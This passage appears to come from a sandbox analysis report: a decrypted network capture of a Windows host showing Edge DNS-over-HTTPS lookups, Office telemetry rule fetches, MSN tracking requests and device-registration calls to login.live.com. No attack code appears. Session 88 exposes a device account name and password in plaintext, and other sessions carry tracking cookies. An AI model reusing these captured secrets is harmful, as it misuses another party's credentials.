2024-11-11 18:17:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	49831	172.64.41.3	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:51 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 18:17:51 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 18:17:51 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 18:17:51 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e1048116afdc33b-EWR alt-svc: h3=":443"; ma=86400
2024-11-11 18:17:51 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49832	20.190.160.14	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 18:17:52 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 18:17:52 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 18:16:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: 15644f84-e6fb-4553-b84a-8b63ad908f38 PPServer: PPV: 30 H: BL02EPF0001D758 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:17:51 GMT Connection: close Content-Length: 1276
2024-11-11 18:17:52 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:52 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 16af1629-301e-0033-6dd5-33fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181752Z-174f7845968frfdmhC1EWRxxbw00000005ag00000000ebma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:52 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 87508d14-a01e-0098-0ad5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181752Z-174f78459685726chC1EWRsnbg00000005a000000000hk2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 2302a2aa-d01e-0017-0cd5-33b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181753Z-174f7845968j9dchhC1EWRfe74000000054000000000e6kr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:52 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 87508d13-a01e-0098-09d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181752Z-174f7845968nnm4mhC1EWR1rn400000005b0000000001q0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:52 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:52 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a2be61a-a01e-0053-3cd5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181752Z-174f78459685726chC1EWRsnbg00000005a000000000hk2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:52 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.7	49834	20.190.160.14	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-11 18:17:52 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 6c 6c 74 6a 62 66 7a 67 64 72 75 67 72 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 79 67 70 2e 3b 7e 63 2f 44 6a 38 6e 73 30 61 79 74 7a 6b 63 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02qlltjbfzgdrugr</Membername><Password>ygp.;~c/Dj8ns0aytzkc</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-11 18:17:59 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 11 Nov 2024 18:16:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_BL2 x-ms-request-id: c2433852-2972-495f-9597-ecf526c89af7 PPServer: PPV: 30 H: BL02EPF0002782D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:17:58 GMT Connection: close Content-Length: 17166
2024-11-11 18:17:59 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 36 39 45 32 43 32 30 44 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 31 64 33 62 35 31 64 30 2d 64 61 32 32 2d 34 39 33 33 2d 61 35 37 66 2d 38 65 36 32 63 63 30 33 30 63 30 31 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018401069E2C20D</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="1d3b51d0-da22-4933-a57f-8e62cc030c01" LicenseID="3252b20c-d425-4711
2024-11-11 18:17:59 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.7	49848	108.139.47.108	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	1012	OUT	GET /b2?rn=1731349070732&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=021090CBA3AE69423B8585FFA2C968AB&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=109457351b256f420a84a3b1731349071; XID=109457351b256f420a84a3b1731349071
2024-11-11 18:17:52 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 11 Nov 2024 18:17:52 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 3d84bfab616d594edc9340870455ee6a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: -aiBthJFxAVKzE51ZXXrcjOanNebS_InzIvshso5EJAvh0d9fIYPvw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.7	49851	104.117.182.72	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:52 UTC	634	OUT	GET /tenant/amp/entityid/BB1msMIu.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
